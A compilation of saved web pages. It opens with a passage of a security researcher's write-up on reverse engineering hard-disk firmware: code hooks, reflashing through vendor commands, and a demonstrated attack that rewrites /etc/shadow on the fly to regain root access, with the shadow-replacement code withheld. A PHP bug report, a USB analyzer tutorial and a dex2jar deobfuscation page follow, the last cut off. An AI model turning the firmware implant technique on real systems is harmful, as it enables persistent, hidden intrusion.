000167CE STR R1, \[SP,\#0x28+var\_1C\]  
000167D0 LDRB R0, \[R6,\#\(off\_0\_FFE3F108+2 - 0xFFE3F0FC\)\]  
000167D2 LDRB R5, \[R6,\#\(off\_0\_FFE3F108 - 0xFFE3F0FC\)\]  
000167D4 LSLS R0, R0, \#4  
  

  

And here's what happens when the code is hooked to call my code:

  

000167BE ; r0 - slot in sata\_req  
000167BE sub\_0\_167BE:  
000167BE PUSH \{R4-R7,LR\}  
000167C0 MOVS R7, R0  
000167C2 _LD R6, =hookedAddr_  
000167C4 _BX R6_  
000167C6 _.dw checksumFix_  
000167C8 _.dd hookedAddr_  
000167CC LDR R2, =stru\_0\_40028DC  
000167CE STR R1, \[SP,\#0x28+var\_1C\]  
000167D0 LDRB R0, \[R6,\#\(off\_0\_FFE3F108+2 - 0xFFE3F0FC\)\]  
000167D2 LDRB R5, \[R6,\#\(off\_0\_FFE3F108 - 0xFFE3F0FC\)\]  
000167D4 LSLS R0, R0, \#4  
...  
FFE3F000 PUSH \{R0-R12, LR\}  
FFE3F004 BX changeThingsInCache  
FFE3F008 POP \{R0-R12, LR\}  
FFE3F00C **LSLS R1, R0, \#4**  
FFE3F010 **LDR R0, =sata\_req**  
FFE3F014 **SUB SP, SP, \#0x14**  
FFE3F018 **ADDS R6, R1, R0**  
FFE3F01C **LDRB R1, \[R6,\#0xD\]**  
FFE3F020 BX 0x167CC  
  

  

As you can see, some original instructions are replaced with a jump to new
code in an otherwise unused bit of ram at address 0xFFE3F000 and an extra word
to make sure the checksum of the code region still is valid. If this isn't
done, the HD will try to load a backup from its platters, which isn't what we
want. The code that's jumped to executes a routine called changeThingsInCache
and then does what the replaced code would've done. It then continues
execution in the original routine like nothing has happened.

  

Now all I need to write was a routine to modify the cached data. For a first
test, I decided on a routine that in pseudocode went something like this:

  

void hook\(\) \{  
foreach \(cache\_struct in cache\_struct\_table\) \{  
if \(is\_valid\(cache\_struct\)\) \{  
foreach \(sector in cache\_struct.sectors\) \{  
sector\[0\]=0x12345678;  
\}  
\}  
\}  
\}  
  

  

This little bit of code would replace the first 4 bytes of every sector in
cache with 0x12345678 every time it's called, so if I uploaded all this to the
hard disk, I should see that number on the start of every sector I read. I
uploaded the bits of code over JTAG...

  

<img src='img/Temp2_3648.jpg' />

And lo and behold:

  

<img src='img/Temp2_3647.jpg' />

**Persistence**

  

Ofcourse, I could make this into a full hack, but needing to use JTAG to poke
it in RAM every time the hard disk boots would make it pretty useless. I
needed to make it persistant, that is, I needed to store my modifications
somewhere where it would be picked up again every time the hard disk powers
on.

  

My location of choice was the flash rom. I could probably also have put it
somewhere in the reserved sectors on the disk itself, but if I messed
something up, I would have no way to recover my disk. The flash chip is just
an eight-pin standard part, so I could easily take it out, flash it and put it
in again. For that purpose, I desoldered it and put it on a bit of veroboard,
so I could easily switch it between a programmer and the hard disk:

  

<img src='img/Temp2_3645.jpg' />

Now, what to put in the flash? Luckily, the format of what's stored in the
chip already has been figured out: it consists of multiple blocks of data,
with a table describing them at the very start. That table describes the
location of the block in flash, how it's compressed \(if it is compressed\),
the location where the block should be put in RAM and, for the final address,
an execution point where the loader would jump to to start executing the
program.

  

Unfortunately, I couldn't modify the code that was in the flash; the bits that
contained the parts where I wanted to put my hooks was compressed with an
unknown compression algorithm, so I couldn't modify that. What I however could
do was add an extra block, and modify the execution address so that block
would get executed before the rest. That made things a bit easier: when 'my'
block got executed, I could just code it to insert the hooks in the now
decompressed bits of code.

  

Ofcourse, I had to dis- and re-assemble the flash binary for this. I created a
tool for that, unimaginatively called 'fwtool'. This tool can dump out the
various blocks in the flash, plus translate the header into a text file for
easy modification. You can then modify, delete or add a block and re-assemble
everything into a single firmware file, ready to be re-flashed. I used that to
add my custom bit of code to the image, flashed everything back to the chip,
put the chip back into the HD, booted everything back up and this was the
result:

<img src='img/Temp2_3647.jpg' />

The result isn't that shocking: it's exactly the same as I had before. The
trick is that I didn't need the JTAG-rig to get it.

  

**Software flashing**

  

While the flash mod was a good step forward, I still couldn't play out my
imaginary hacker scenario: I don't think any server company accepts
'donations' of hard disks with de- and re-soldered flash chips. I needed to
find a way to re-flash the chip while it was still soldered to the hard disk,
preferably from the PC the hard disk was connected to.

  

The Western Digital firmware upgrade tools proves this is possible: it's
basically a tool you run under DOS to put new firmware to both the flash and
the service area aka the reserved sectors of the hard disk. According to the
Internet, the tools use so-called Vendor Specific Commands to There are also
some other tools that can meddle with the firmware: for example, there is a
bit of proof-of-concept code that can use unused reserved sectors to hide away
data. Finally, there's a set of tools called idle3-tools that can be used to
modify a byte in the firmware to modift the idle behaviour of the hard disk.
This code also uses VSCs, and does this using the 'official' way using Linux
scsi passthrough ioctls. I decided to 'borrow' this code, modify it a bit and
integrate it in fwtool. After some messing around and guessing VSC parameters,
fwtool could all of a sudden also read and write the flash of a HD attached to
the PC it's run on.

  

With this, my attack was complete. If a blackhat hacker had somehow obtained
root access to a server with this drive, he could use fwtool to remotely dump
the flash of the disk, modify it and flash it back. Eventually, the owner of
the box will find out I am using his box for nefarious purposes and will
probably re-install the system, securing the way the hacker orginally entered
the machine.

  

With the firmware hack in place, however, the attacker could tell the hard
disk to do something nefarious with the new install. He'd need to trigger that
behaviour first, though, and that could be done by writing a certain magic
string the firmware hack would look for to the disk. The magic string can be
in any file; the attacker could for example upload a .jpeg-file with the
string in it to the server. He could also request a file from the webserver
with the magic string appended to the URL. That would eventually end up in the
logs of the machines, triggering the exploit.

  

The hard disk firmware hack would then do something nefarious. For example, it
could wait for the machine to read out the file /etc/shadow, where all the
passwords are stored on an Unix/Linux system, and modify the contents on-the-
fly to something the attacker hardcoded earlier. When the attacker would then
try to log into the system with his own password, the machine would check this
password against the now-modified /etc/shadow and the attacker would be free
to login again.

  

Here's the demonstration I did at the presentation. You can see me try to log
into the root account of the machine unsuccessfully. I then enable the hack
and give it a replacement password hash, namely for the password 'test123'.
Because Linux caches the shadow file \(like all files recently accessed\), I
have to generate a lot of disk activity for the file to be 'pushed out' of the
cache; that way, when I try to login again, Linux will be forced to fetch the
shadow file from disk again. Finally, with the cache cleared, I can just log
into the root account with the faked test123 password.

  

**Other uses**

  

Ofcourse, restoring access to servers which had their clandestine entry
methods removed isn't the only useful way my reverse engineering efforts can
be used for. It can also be used for defensive purposes.

  

For example, you could make an un-clonable hard disk: the hard disk would act
normal if the access pattern for the sectors was somewhat random, like a
normal OS would access a filesystem. If the disk was accessed only
sequentially, like a disk cloning utility would do, the hard disk could mangle
the data, making the clone different from the original.

  

The disk controller is also interesting as a generic controller board. You
have three fairly capable CPU cores, with a pretty big amount of RAM connected
to it. There's also an uart, for the serial port, and at least two SPI
interfaces; one to the flash rom and one to the spindle controllers. You can
load the code for the processor by updating an external flash chip, or even by
using the serial port in the bootloader. To demonstrate the power of the chip,
I ported a fairly ubiquitous bit of software to my HD. The demo is a proof-of-
concept only, the serial port is the only peripherial that works, and no
userspace is available yet. Nevertheless, I am still a bit proud to say I have
installed Linux on my hard disk. On top, a standard command line \(the HD is
mounted under /mnt\), on the bottom the output of my work on the serial port
of the hard disk:

  

A bit more explanation about what happens here: the kernel and init are both
packed in pieces with the size of exactly one sector, with a magic string and
order number prepended. By reading the file from the disk, it will end up in
the cache of the disk. The write of the magic string 'HD, lnx\!' finally
triggers the modified firmware to search the cache for all the sectors, re-
assemble the kernel image and boots it. The kernel is built for a MMU-less CPU
\(the disk controller doesn't have one\) and only has a driver for the serial
port. A MMU-less kernel unfortunately needs a specially formatted bit of
userspace too. I couldn't get this to compile, so the kernel finally panics
because it can't find an init it can execute.

  

**Conclusion**

  

So, there you have it. While the hard disk controller is a beast without much
data known about it, it's still perfectly well possible to reverse engineer it
and to write custom code for it. The unknown-ness of the controller does make
it harder to write generic hacks, which makes me doubtfull that a thing like
the evil firmware patch will ever be seen in the wild: it's much easier to
just get another zero-day software exploit than reverse engineer the firmware
of every single hard disk every server you stumble upon has.

  

I also hope to have proven that a broken hard disk is something you can still
use. While the mechanics of a broken HD probably are shot, the PCB still
contains an usable embedded system, which actually is pretty powerful
considering you can usually get broken hard disks for free.

  

Releasing the source-code for a security project always is a nasty subject. I
want to release code, but I do not want to be responsible for a lot of
permanently hacked servers... I decided to compromise: you can download the
code I used here, but I removed the shadow-replacement code. Make note: I'm
not going to support the process to get all this running in any way; it's a
hack, you figure it out.  

  

# PHP :: Bug \#61095 :: PHP can't add hex numbers

**Created:**| _2/23/2012 9:50:27 PM_  
---|---  
**Updated:**| _2/23/2012 9:50:30 PM_  
**Author:**| __  
**Tags:**| _LOLZ php_  
  
| Bug \#61095| PHP can't add hex numbers  
---|---  
Submitted:| 2012-02-15 15:32 UTC| Modified:| 2012-02-15 16:55 UTC|  | Votes:| 95  
---|---  
Avg. Score:| 4.2 ± 1.3  
Reproduced:| 46 of 68 \(67.6%\)  
Same Version:| 24 \(52.2%\)  
Same OS:| 9 \(19.6%\)  
From:| tomek at przeslij dot pl| Assigned:| colder  
Status:| Assigned| Package:| Scripting Engine problem  
PHP Version:| 5.3.10| OS:| Windows XP  
Private report:| No| CVE-ID:|  
View Add Comment Developer Edit

yes no don't know

high low

  

**\[2012-02-15 15:32 UTC\] tomek at przeslij dot pl**

[code]

    Description:
    ------------
    These echoes 4:
    echo (0x00+2);
    echo (0x00+0x02);
    but they should echo 2! This echoes 2 as expected:
    echo (0x00 + 2);
    
    Test script:
    ---------------
    echo (0x00+2);
    
    Expected result:
    ----------------
    2
    
    Actual result:
    --------------
    4
    
    
[/code]

## Patches

# Virtual USB Analyzer - Tutorial

**Created:**| _4/10/2011 11:35:32 AM_  
---|---  
**Updated:**| _4/10/2011 11:35:32 AM_  
**Author:**| __  
**Tags:**| _USB reversing analysis visualization_  
  

## Capturing a log file

To use the Virtual USB Analyzer, you first need to capture a log of some USB
protocol traffic. This tutorial will show you how to use the logging built in
to VMware's virtual USB stack. You'll need either VMware Workstation, VMware
Fusion, or the free VMware Player as well as a virtual machine and USB device
you want to capture data from.

Note that you can capture the log file using any host operating system, and
your virtual machine can be running any operating system that supports USB.
However, you'll probably want to analyze the resulting logs on a Linux
machine- the vusb-analyzer tool may be difficult to run on Windows or Mac OS.
See the system requirements.

### The virtual machine configuration file

For this step, you'll need to edit your virtual machine's configuration file.
This is the text file with a ".vmx" extension, which specifies all of a
virtual machine's devices, shared folders, debug options, and other settings.
On Windows, you'll want to use Wordpad or any programmer's editor. On Linux or
Mac OS, any plain text editor should work.

This .vmx file is the same file you open in VMware Workstation or Player in
order to load the virtual machine. In VMware Fusion, the VM may be a _bundle_
, a directory which appears as a single file in the Finder. In this case,
you'll need to open the bundle by right-clicking it and selecting "Show
Package Contents."

\! You must modify the VM's config file only when the virtual machine is
powered off or suspended. Any time you power off or suspend the VM, the config
file will be modified automatically. Be sure to reload it in your editor if
you had the file open prior to a power or suspend operation.

\! VMware Player 3.0 for Windows was not packaged with the debug version of
the VMX binary, so the debugging options below will silently have no effect.
This only affects the Windows release. We're working on resolving this
problem, but until then you'll have to use a different product. For example,
Player 3.0 for Linux, Player 2.0, any version of Fusion, or a trial version of
Workstation. Sorry for the inconvenience.

### USB debug options

There are three configuration changes we'll make in order to use USB logging:

  * `monitor = "debug"`
Enable debugging for this VM. This switches to a different version of the
VMware virtual machine runtime which is compiled with debug checks enabled.
This is the same as setting the "Gather debugging information" advanced option
in VMware Workstation to "Full." Note that this option only takes effect the
next time you power on the virtual machine.

  * `usb.analyzer.enable = TRUE`
Enable USB analyzer logging in the virtual USB stack. This will write "USBIO:"
lines to this virtual machine's `vmware.log` file on every USB packet.

  * usb.analyzer.maxLine = <number of 16-byte lines>
This is optional, but we'll increase the length of the payload data that we
log for each USB packet. By default, only 80 bytes \(5 hex dump lines\) of
data are logged for each packet. To see the entire contents, we'll increase
this to 8192. This will make your log files significantly bigger, so if you
don't need the full packet contents you can set this to a small number to
decrease logging overhead.

  * mouse.vusb.enable = FALSE
This is also optional. By default, some virtual machines \(Windows NT and
later\) will get a virtual USB mouse device by default. From the guest's point
of view it looks like a normal USB device, but it is emulated entirely in
software. This device will show up in the USB log output. If the extra output
gets in the way, you can use this option to disable the virtual USB mouse.
Note that with the virtual USB mouse disabled, mouse functionality in the VM
may be reduced.

Also note that this option only tells the virtual USB subsystem when to attach
a new virtual mouse. If the mouse is already attached, you'll need to remove
the corresponding "usb:" lines. See the example below.

\! These logging options can have a significant impact on the performance of
your VM, and they generate large log files that can fill your disk. Remember
to suspend or power off your VM and remove the debug options when you're done.

So, to enable debugging, enable the USB analyzer, and set the line length,
we'll add these three lines to the VMX file. Note that the VMX file must not
contain duplicate values for a single key. Make sure these config options
don't already exist before adding them, or your VM will fail to start.

[code]

    monitor = "debug"
    usb.analyzer.enable = TRUE
    usb.analyzer.maxLine = 8192
    mouse.vusb.enable = FALSE
    
[/code]

### USB logging output

When you power on or resume this VM, you should start to see USBIO log lines
in `vmware.log` for each USB packet that traverses the virtual USB stack. On
most Windows VMs, you will immediately see some USBIO log lines for the two
virtual peripherals that automatically attach to every VM: The virtual hub and
virtual mouse. \(If you did not elect to disable the virtual mouse, that is.\)

Some example USBIO log entries:

[code]

    USBIO: GetDescriptor(string, 1, langId=0x0409)
    USBIO: Down dev=2 endpt=0 datalen=255 numPackets=0 status=800 0
    USBIO:  000: 80 06 01 03 09 04 ff 00                         ........        
    USBIO: Up dev=2 endpt=0 datalen=46 numPackets=0 status=0 0
    USBIO:  000: 80 06 01 03 09 04 ff 00                         ........        
    USBIO:  000: 2e 03 56 00 4d 00 77 00 61 00 72 00 65 00 20 00 ..V.M.w.a.r.e. .
    USBIO:  010: 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 20 00 V.i.r.t.u.a.l. .
    USBIO:  020: 55 00 53 00 42 00 20 00 48 00 75 00 62 00       U.S.B. .H.u.b.  
    
[/code]

They are designed to be somewhat human readable even without the Virtual USB
Analyzer tool. Some very basic Chapter 9 protocol decoding is performed in the
virtual USB stack, and packet data is dumped in hex and in ASCII. The "Down"
lines indicate a request that is on its way from the guest OS to the
\(virtual\) hardware, and an "Up" is a response or completion which is
returning from the hardware back to the guest OS.

### An example logging session

For this tutorial, we'll capture the USB bus traffic that results after
plugging in a USB flash drive. We'll capture logs from both Windows and Linux
virtual machines, so we can compare the two. We'd like to know what, if
anything, is different about how Windows and Linux access USB storage devices.

To capture the logs, we'll take the following steps:

  1. With the Windows VM suspended, add the new debug options to its `.vmx` config file: 
[code]    monitor = "debug"

    usb.analyzer.enable = TRUE
    usb.analyzer.maxLine = 8192
    mouse.vusb.enable = FALSE
    
[/code]

And **remove** the existing virtual USB device definitions:

[code]    usb:0.present = "TRUE"

    usb:1.present = "TRUE"
    usb:1.deviceType = "hub"
    usb:0.deviceType = "mouse"
[/code]

  2. Power on or resume the virtual machine.
  3. There should be a new `vmware.log` file in the virtual machine's directory. It shouldn't contain any `USBIO` lines yet.
  4. Now we'll start our test. We'll connect a USB disk to the Windows VM, let Windows mount it, copy a file off of it, then disconnect the disk.
  5. Suspend the virtual machine.
  6. To reduce the size of the log, we can filter out only the USBIO log entries and compress them. This is optional, vusb-analyzer can also be run directly on the vmware.log file. 
[code]    grep USBIO vmware.log | gzip > windows-storage-read.log.gz
[/code]

  7. Edit the VMX file again, and remove the four lines we added in step 1. There's no need to re-add the `usb:*` lines, as they will be added automatically as necessary.
  8. Now we'll repeat steps 1 through 7 with a Linux VM, for comparison later.

## Viewing a single log file

This tutorial will assume you have a log file to view. If you skipped the
section above, download one of the sample log files.

The vusb-analyzer tool's command line usage is pretty straightforward:

[code]

    micah@carrot:~/download$ **tar zxf vusb-analyzer-1.0.tar.gz**
    micah@carrot:~/download$ **cd vusb-analyzer-1.0/**
    micah@carrot:~/download/vusb-analyzer-1.0$ **./vusb-analyzer**
    Warning: psyco not found, install it for a nice speed boost.
    usage: ./vusb-analyzer [-t] vmx.log [vmx.log]
    
    PyGTK frontend for the virtual USB analyzer
    Micah Dowty 
    
      -t  Tail mode, start from the end of a growing log file.
    
    The provided log file may be a VMware VMX log file,
    or an exported XML file from Ellisys Visual USB.
    Logs may be appended to while this program is running.
    
    For best results with Ellisys logs, enable 'Expand
    transactions packets' but not 'Expand consecutive
    elements' while exporting.
    
    Two log files can be specified, in order to invoke
    diff mode.
    
[/code]

<img src='img/Temp2_8899.png' />

So, let's start by giving it a single log file. The UI should appear
immediately along with the first section of the log file. If you're viewing a
large log file, it will continue to load in the background. The progress bar
at the bottom-right corner of the window indicates loading progress. It
disappears when the file is fully loaded.

[code]

    micah@carrot:~/download/vusb-analyzer-1.0$ **./vusb-analyzer ../linux-storage-read.log.gz**
    Warning: psyco not found, install it for a nice speed boost.
    Loaded decoder module 'Cypress'
    Loaded decoder module 'Bluetooth'
    Loaded decoder module 'Storage'
    Installing decoder VUsbTools.Decoders.Storage.CommandDecoder
    Installing decoder VUsbTools.Decoders.Storage.StatusDecoder
    
[/code]

<img src='img/Temp2_8898.png' />

This is the main vusb-analyzer window. From top to bottom, it has three
interesting regions:

  * **The timing diagram.** Each USB endpoint is allocated a row on this chart. The vertical stacking is arbitrary. The horizontal axis is time since the first log entry, in seconds. 
    * Each box represents one USB transaction. The left edge is when the transaction started, the right edge marks its completion.
    * Transactions are color-coded by size: Zero-byte transfers are gray, small transfers are blue, large transfers are yellow.
    * Errors are marked by a red stripe at the end of a transaction box.
    * Left-click or left-drag to select transactions
    * Middle-click to zoom in
    * Right-click to zoom out
  * **The transaction list.** The beginning and end of every USB transaction appears here, in chronological order. 
    * Left-click to select one transaction.
    * Use the keyboard arrows and page-up/page-down to quickly move through large logs.
    * Use ctrl-click and shift-click to select multiple transactions.
    * Right-click for filter and export options.
    * Double-click to open the detail window, which gives a full hex dump of the current transaction as well as decoded protocol information. 
  * **The status bar.** In the right corner, this displays the current time at the cursor. The box to the left displays metrics for the hilighted group of transactions.

## Making sense of URBs

The _transactions_ we've been talking about so far are also known as USB
Request Blocks \(URBs\). This is the typical unit of communication used by USB
drivers. URBs are distinct from the actual _packets_ that appear on the
physical USB wire.

When a USB driver submits a URB to the operating system's USB stack, the USB
stack converts this URB into a set of lower-level primitives \(Transfer
Descriptors\) and sends it off to the USB host controller. The TDs tell the
host controller to poll the device. The host controller continues to poll the
device, in hardware, until the transfer is complete. When the last TD
finishes, the host controller fires an interrupt, and the operating system
completes the URB.

Since the Virtual USB analyzer only sees URBs, not wire-level packets or TDs,
it is a higher level analyzer than a typical hardware analyzer like those made
by Ellisys or LeCroy. It is more similar to USB Snoopy, which captures URBs as
they traverse the Windows driver stack.

\! When capturing USB logs with VMware, you won't always get URBs that look
exactly like the ones originally submitted by the driver running in your VM.
VMware does not modify the USB stack in your VM, it just emulates the
industry-standard UHCI and EHCI controller chips. The URBs you see in the log
were re-assembled from TDs that the guest OS submitted to the USB controller.
They should be semantically identical to the original URBs, but you may see
that URBs have been split or recombined.

This is how a single URB looks in the transaction list:

<img src='img/Temp2_8895.png' />

Each URB always has two entries in the list: One showing when the driver
submitted it, and one showing when it completed. Most URBs complete pretty
quickly, and their duration is a good measure of the latency we're
experiencing from the device and the host machine's USB stack. This isn't
always the case, though, as we'll see later.

From left to right, the columns in the transaction above:

  * **Transfer direction and endpoint.** The right arrow indicates a URB submission, and a left arrow indicates completion. The text in this column indicates the endpoint and endpoint direction, if applicable.
  * **Time.** This column records the wallclock time, measured in seconds since the first log event. The number after the colon is a line number in the log file, in case you want to cross-reference this list with the raw log data.
  * **Device Address.** This is the USB device address, as assigned by the operating system running within the VM. New devices always start out with address zero, then they are assigned a permanent address with the `SET_ADDRESS` control request.
  * **Length.** The transfer length, in bytes, not including SETUP data. When the URB is submitted, this is the size requested by the driver: The number of bytes to transfer, or the maximum number of bytes we want to receive. When the URB is completed, it indicates the actual amount of data we transferred. In this example, the driver is asking to read at most 0x40 bytes, and it gets back 0x12 bytes of data.
  * **Setup.** For control requests, this column displays the raw contents of the `SETUP` packet, in hexadecimal.
  * **Data.** This is a hex dump of at most the first 16 bytes of data. To see a full dump, double-click the transaction list. Data will appear in the table when an output transfer is submitted, and when an input transfer is completed.

The rightmost column contains a summary of the decoded high-level protocol
information in that transfer. Here's another example: the completion of a
`GET_DESCRIPTOR` request for reading the configuration descriptor on the
VMware Virtual Hub device.

<img src='img/Temp2_8902.png' />

Double-clicking this line reveals the detail window:

<img src='img/Temp2_8905.png' />

On the left side you'll find a full hex dump of the transfer data, on the
right is the annotation provided by a protocol decoder plugin. In this case,
it's disassembling a few of the standard USB Chapter 9 descriptors. You can
copy and paste text from either side of the window.

Before you try copying and pasting hex dumps from this window, though, take a
look at the _Exporting data_ section below.

## Using the timing diagram

The timing diagram is a graphical visualization of the time, quantity, and
size of URBs. The horizontal axis is time. The vertical axis is arbitrary, but
transactions are first grouped by device and endpoint, then stacked tightly
for the best space utilization.

Let's take a closer look at the beginning of the Linux USB storage log we
captured above. If you skipped the _capturing a log file_ section above,
download one of the sample log files. The log file we're looking at here is
`linux-storage-read`.

<img src='img/Temp2_8904.png' />

This is a typical diagram showing an enumeration sequence. In the "Dev 0, EP0"
column, you can see the `SET_ADDRESS` URBs which give two other devices
addresses 3 and 4. Immediately afterward, many small control requests are sent
as the device's driver loads and initializes. All of these packets are very
quick, and have very little data content.

Now we'll scroll right, just past 7 seconds. Enumeration is finished, and
we're starting to see some SCSI traffic:

<img src='img/Temp2_8906.png' />

On the left, we see a handful of small packets on EP1 OUT and EP2 IN. These
are SCSI INQUIRY, TEST\_UNIT\_READY, and friends. You can click on any URB to
see its corresponding data in the transaction list. Any time you select an
item in the timing diagram it will be selected in the transaction list, and
vice versa. You can even middle-click to zoom in on these small transfers, or
left-drag to "scrub" over them quickly to find a particular transaction.

You'll also notice a few red stripes on the graph. These are errors- in this
case, the USB storage driver sent an unsupported command, so the device
reported a stall. The red stripe on EP0 is an unsupported class-specific
request, which also reported a stall.

On the right, you can see some actual SCSI READ requests. The color coding
tells us that they're larger packets, and we immediately notice the huge stack
of URBs. What does this mean?

Well, the timing diagram always places the left and right edges of a box
according to the submission and completion timestamps of a URB. If multiple
URBs are pending, the timing diagram will stack them vertically. The vertical
stacking order is arbitrary, it just tries to fill space as efficiently as
possible. As a general rule, the taller a stack is the more URBs are being run
concurrently by the device's driver.

In this case, the guest's driver is submitting a command block for a SCSI READ
request, then it immediately submits every URB it will need for that request's
payload data. All of these URBs start at the same time, but they complete
sequentially as the device actually delivers data back to the USB controller.

The vertical red line is the timing diagram cursor. It follows the mouse when
you hover over the timing diagram, and it also jumps to the timestamp on any
transaction you hilight in the transaction list. It's a good "You are here"
marker to use when navigating the transaction list. It also helps you visually
inspect many URBs relative to a single point in time. At this screenshot's
cursor position, you can see that one URB is just ending, and 16 more are
still pending.

For comparison's sake, let's load up the Windows counterpart to this log, to
see how its USB stack differs. If you skipped the _Capturing a log file_
section above, you can download the sample `windows-storage-read` log.

<img src='img/Temp2_8896.png' />

The difference is pretty striking. The tightly packed group of URBs on the
left is a flood of TEST\_UNIT\_READY spam. on the right, we're sending actual
READ requests. Instead of sending out all its URBs at once, the Windows
storage driver keeps at most two outstanding at any time. It starts out by
sending two URBs, then the moment the first one finishes it sends out another.

We can middle-click to zoom in and see this more clearly:

<img src='img/Temp2_8903.png' />

Even though the stacking is arbitrary, since vusb-analyzer is trying to fill
space efficiently it will usually tend to put a new transaction in the space
that opened up after another transaction completed. This means you can often
see rows emerge, in which the driver always submits a new URB after a previous
one completes. This makes it possible to quickly measure the latency both of
the device and of the virtual machine and its USB driver.

## Side-by-side diff mode

If we want to compare two logs, we could open them up in two separate vusb-
analyzer windows, and look for similarities and differences between them. This
would be okay for small logs, but it can quickly get very tedious, especially
if the logs are nearly identical. We could `diff` the log files themselves,
but there is a lot of noise data in there that we'd really like to ignore-
things like timestamps and device addresses.

This diff mode was originally developed for comparing VMware's virtual URBs to
the physial traffic that we could observe on the USB wire with a hardware
analyzer. We would take a software analyzer trace and a hardware trace
simultaneously, and load them into vusb-analyzer's diff mode as a way to debug
our virtual USB stack.

This mode could be useful for other cases where you're trying to duplicate the
behaviour of another piece of software. For example, if you're trying to write
a Linux driver by reverse engineering the communications between a Windows
driver and a proprietary device, you could use diff mode to compare your
driver with the proprietary driver.

In this tutorial, we'll compare the Windows and Linux logs we captured above.
If you skipped the _Capturing a log file_ section, you can download the sample
`windows-storage-read` and `linux-storage-read` logs.

To use diff mode, just run vusb-analyzer with two log filenames on the command
line:

[code]

    micah@carrot$ **./vusb-analyzer ../linux-storage-read.log.gz ../windows-storage-read.log.gz**
    Warning: psyco not found, install it for a nice speed boost.
    Loaded decoder module 'Cypress'
    Loaded decoder module 'Bluetooth'
    Loaded decoder module 'Storage'
    Loaded decoder module 'Cypress'
    Loaded decoder module 'Bluetooth'
    Loaded decoder module 'Storage'
    Installing decoder VUsbTools.Decoders.Storage.CommandDecoder
    Installing decoder VUsbTools.Decoders.Storage.StatusDecoder
    Installing decoder VUsbTools.Decoders.Storage.CommandDecoder
    Installing decoder VUsbTools.Decoders.Storage.StatusDecoder
    Installing decoder VUsbTools.Decoders.Storage.CommandDecoder
    Installing decoder VUsbTools.Decoders.Storage.StatusDecoder
    
[/code]

<img src='img/Temp2_8907.png' />

The resulting window will have a lot of information. I hope you have a large
monitor\! The transaction list from each log will appear side-by-side, with
the first log on the left and the second on the right. Additionally, the
timing diagrams will appear stacked, with the first log on top and second on
bottom.

Most importantly, you will see diff markers: A column of line markers will
separate the two transaction lists, and each timing diagram will have green
striped areas.

\! You may not see any diff notes immediately. It can take vusb-analyzer some
time to load both log files into memory, and it only computes the differences
between the two files after both are fully loaded.

<img src='img/Temp2_8901.png' />

A blank space in the marker column indicates that the transactions on the left
and right side match. The "<" and ">" markers indicate that a transaction only
exists on one side, and the "|" marker means that the transaction was
modified.

For any areas which match, vusb-analyzer will link your selection. When you
click a transaction on the left side, it will hilight the matching transaction
on the right side, and on both timing diagrams.

The timing diagrams will show matching regions with a green band. All URBs
inside that band matched with a group of URBs in the other log. If you click
one of these URBs, the matching URB will be hilighted in the other timing
diagram and in both transaction lists.

<img src='img/Temp2_8894.png' />

This image shows a section where the first log has three extra URBs as
compared to the bottom log, but they otherwise match exactly.

## Exporting data

The Virtual USB Analyzer is useful for analyzing the structure of a USB
sniffer log, but sometimes you just want to extract some data. This could be
blocks of data that were read or written from a disk, or perhaps a firmware
image that a device's driver automatically sends on connect. The Virtual USB
Analyzer has some tools that make it easier to select transactions and dump
their data to disk.

In this example, we'll extract audio data which was logged on its way to a
pair of USB headphones. If you want to follow along, you can download the
sample `windows-audio-playback` log file.

Here's an example of what audio playback looks like in this log:

<img src='img/Temp2_8897.png' />

The control requests on EP0 are initializing the stream, and EP1 OUT carries
the actual Isochronous packets which carry the audio data. EP3 IN is polling
for button presses from the device's HID interface. This screenshot is the
short sound effect that Windows plays after a new hardware device is attached.
Later in the file we'll see a longer stream playing:

<img src='img/Temp2_8900.png' />

Let's try to capture the long stream, ignoring the Windows sound effect. If
you click the top-left URB in the EP1 OUT pipe, shortly after 38 seconds, the
transaction list will hilight the corresponding completion event. To hilight
the rest:

  * Click the transaction once, to give it keyboard focus.
  * Hold down Shift, to select multiple items, and start pressing Page Down. Your selection will grow, and the timing diagram cursor will move to show you where you are.
  * Select all of the URBs you're interested in. In this case, we want the whole rest of the log. Another way to select all of these transactions is to shift-click once on the last transaction you're interested in. 

<img src='img/Temp2_8908.png' />

  * Now we can filter the selection to include only EP1 OUT. Not a lot is going on in this log, but in a busier log this can make sure you aren't grabbing unintended packets from other interfaces. 

Once you have the proper transactions hilighted, right click again and pick
"Save Selected Data...". This writes out a raw binary file which contains the
payload from all selected packets, concatenated in chronological order. We'll
save this data to "audio.raw".

Now we can play it. The 'play' tool included with sox can handle headerless
audio files:

[code]

    micah@carrot:~$ ls -l audio.raw 
    -rw-r--r-- 1 micah micah 2284556 2009-01-12 12:24 audio.raw
    micah@carrot:~$ play -r 44100 -c 2 -s -2 audio.raw 
    
    Input File     : 'audio.raw'
    Sample Size    : 16-bit (2 bytes)
    Sample Encoding: signed (2's complement)
    Channels       : 2
    Sample Rate    : 44100
    
    Time: 00:12.95 [00:00.00] of 00:00.00 (0.00%) Samples out: 571k  Clips: 0    
    Done.
    
[/code]

# DeObfuscateJarWithDexTool - dex2jar - DeObfuscate Jar With Dex Tool - Tools
to work with android .dex and java .class files - Google Project Hosting

**Created:**| _4/7/2012 11:12:33 AM_  
---|---  
**Updated:**| _4/7/2012 11:12:33 AM_  
**Author:**| __  
**Tags:**| _Obfuscation android_  
  
<img src='img/Temp2_2012.gif' width='15' height='15' />
DeObfuscateJarWithDexTool _DeObfuscate Jar With Dex Tool_  
Featured Updated  Feb 23, 2012 by pxb1...@gmail.com

# Introduction

dex-tool-0.0.9.8 add support to DeObfuscate a jar

# Details

## The Problem

for a Obfuscated jar like this

[code]

    package a;  
    public class a  
    {  
      static String a = "Hello";  
      static void a() {  
        System.out.println(a);  
      }  
      public static void main(String[] args) {  
        a();  
      }  
    }
[/code]

all package,class,field,method names are 'a', which is difficult to read.

## DeObfuscate It

run the following command

[code]

    #generate a 'suggest' config for rename  
    d2j-init-deobf -f -o init.txt a.jar
[/code]

we got a init.txt

[code]

    p a=pa  
    c a/a=C000_a  
    m a/a.a()=Ma  
    m a/a.a=Fa
[/code]

which means

[code]

    #rename package a to pa  
    p a=pa  
    #rename class a to C000_a  
    c a/a=C000_a  
    #rename method a to Ma  
    m a/a.a()=Ma  
    #rename field a to Fa  
    m a/a.a=Fa
[/code]

modify init.txt to

[code]

    #rename package a to hello  
    p a=hello  
    #rename class a to World  
    c a/a=World  
    #rename method a to say  
    m a/a.a()=say  
    #rename field a to message  
    m a/a.a=message
[/code]

and run

[code]

